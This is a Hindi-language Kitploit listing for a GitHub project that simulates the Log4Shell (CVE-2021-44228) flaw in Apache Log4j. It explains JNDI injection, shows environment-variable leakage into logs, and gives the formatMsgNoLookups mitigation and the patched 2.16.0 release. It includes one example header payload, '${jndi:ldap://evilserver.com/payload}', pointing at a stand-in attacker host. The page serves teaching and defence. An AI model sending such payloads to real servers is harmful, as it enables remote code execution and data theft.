Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2021-44228 — कुख्यात CVE-2021-44228 समस्या का एक सरल सिमुलेशन। | Kitploit
उपकरण/GitHubGitHub/nikolas-charalambidis/cve-2021-44228
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षालैब और अभ्यास
GitHubnikolas-charalambidis/cve-2021-44228

cve-2021-44228

कुख्यात CVE-2021-44228 समस्या का एक सरल सिमुलेशन।

रिपॉजिटरी देखें
4 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Java CI

CVE-2021-44228

यह रिपॉज़िटरी कुख्यात CVE-2021-44228 समस्या का एक सरलीकृत सिमुलेशन प्रस्तुत करती है।

सिस्टम प्रॉपर्टीज़ और अन्य डिक्शनरी संरचनाओं की लुकअप के अलावा, Apache Log4j विभिन्न कारणों से JNDI लुकअप सुविधा भी लागू करता है। JNDI विभिन्न सेवा प्रदाताओं से सेवाएँ प्राप्त कर सकता है, जैसे LDAP, DNS, Java RMI रजिस्ट्री, आदि। JNDI स्वयं एक सरल और असुरक्षित API है जो किसी तृतीय पक्ष द्वारा नियंत्रित सेवा प्रदाताओं से सुरक्षा प्रदान नहीं करता है। जब तक हमलावर दुर्भावनापूर्ण URL के माध्यम से सार्वजनिक रूप से सुलभ सर्वर को नियंत्रित करता है और यह जानता है कि किसी विशिष्ट पोर्ट पर सुनने वाले एप्लिकेशन द्वारा क्या लॉग किया जा रहा है, वे लॉग प्रारूप का दुरुपयोग करके JNDI इंजेक्शन के माध्यम से एप्लिकेशन को मनमाना Java कोड लोड और निष्पादित करने के लिए प्रेरित कर सकते हैं। इसे सामान्यतः लॉग किए जाने वाले अनुरोध हेडर के माध्यम से सादे पाठ या अस्पष्ट (obfuscated) रूप में पास किया जा सकता है।

root@kitploit:~
user-agent: ${jndi:ldap://evilserver.com/payload}

Apache Log4j, 13 दिसंबर को 2.16.0 संस्करण आने से पहले रिमोट कोड एक्ज़ीक्यूशन भेद्यता के प्रति संवेदनशील था, और लेखकों की त्वरित प्रतिक्रिया के लिए मैं उनका पूरा सम्मान करता हूँ।

संसाधन:

  • https://logging.apache.org/log4j/2.x/security.html
  • https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  • https://securelist.com/cve-2021-44228-vulnerability-in-apache-log4j-library/105210/
  • https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns

उदाहरण

सिमुलेशन LDAP सर्वर के बजाय पर्यावरण चर (environment variables) का उपयोग कर रहा है, साथ ही लॉग प्रारूप Property substitution का समर्थन करता है। सिद्धांत अलग नहीं है।

आवश्यक शर्तें

Java 11 और Maven आवश्यक हैं, फिर भी Maven Wrapper भी रिपॉज़िटरी में शामिल है।

शोषण

GitHub रिपॉज़िटरी एक रिपॉज़िटरी सीक्रेट PASSWORD परिभाषित करती है, जिसे वर्कफ़्लो .github/workflow/ci.yml फ़ाइल में एक पर्यावरण चर के रूप में सेट किया जाता है ताकि सीक्रेट किसी एक्शन के लिए उपलब्ध हो सके। समस्या को स्थानीय रूप से दोहराने के लिए सामान्यतः उपयोग किए जाने वाले JAVA_HOME पर्यावरण चर का उपयोग किया जा सकता है। वर्कफ़्लो दो एप्लिकेशनों को अलग-अलग Apache Log4j संस्करणों 2.14.1 और 2.16.0 के साथ बनाता और निष्पादित करता है, और यहाँ GitHub Actions पर एक नमूना निष्पादन है: Java CI #7।

Apache Log4j 2.14.1

यह संस्करण हमले के प्रति संवेदनशील है। इसे दोहराने के लिए इन चरणों का पालन करें:

  1. mvn clean install -f log4j-2.14.1

  2. java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    पर्यावरण चर लॉग में दिखाई देता है:

    args[0] = C:\Program Files\Java\jdk-11.0.11

यहाँ GitHub action का एक स्क्रीनशॉट है, केवल इस स्थिति के लिए कि वास्तविक रन स्वचालित रूप से हटा दिया जाए:

log4j-2.14.1.png

ध्यान दें कि जब आप सीक्रेट को लॉग में प्रिंट करने का प्रयास करते हैं, तो GitHub स्वचालित रूप से उन्हें संपादित (redact) कर देता है और मान मास्क होकर *** के रूप में प्रदर्शित होते हैं। हालाँकि, प्रॉपर्टी प्रतिस्थापित हो गई थी।

शमन

एक अस्थायी और आंशिक समाधान (workaround) के रूप में -Dlog4j2.formatMsgNoLookups=True JVM पैरामीटर जोड़ने का निर्देश दिया गया है, इसलिए एप्लिकेशन के सभी नोड्स को पुनः आरंभ करना आवश्यक है।

  1. mvn clean install -f log4j-2.14.1

  2. java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    कोई प्रॉपर्टी प्रतिस्थापन नहीं होता है:

    args[0] = ${env:JAVA_HOME:-}

फिर से, यहाँ GitHub Actions का एक स्क्रीनशॉट है:

log4j-2.14.1-mitigated.png

Apache Log4j 2.16.0

यह समस्या Log4j सुरक्षा टीम द्वारा Log4j 2.12.2 (Java 7) और Log4j 2.16.0 (Java 8) में ठीक कर दी गई थी।

  1. mvn clean install -f log4j-2.16.0

  2. java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'

    कोई प्रॉपर्टी प्रतिस्थापन नहीं होता है:

    args[0] = ${env:JAVA_HOME:-}

फिर से, यहाँ GitHub Actions का एक स्क्रीनशॉट है:

log4j-2.16.0.png

टूल डाउनलोड करें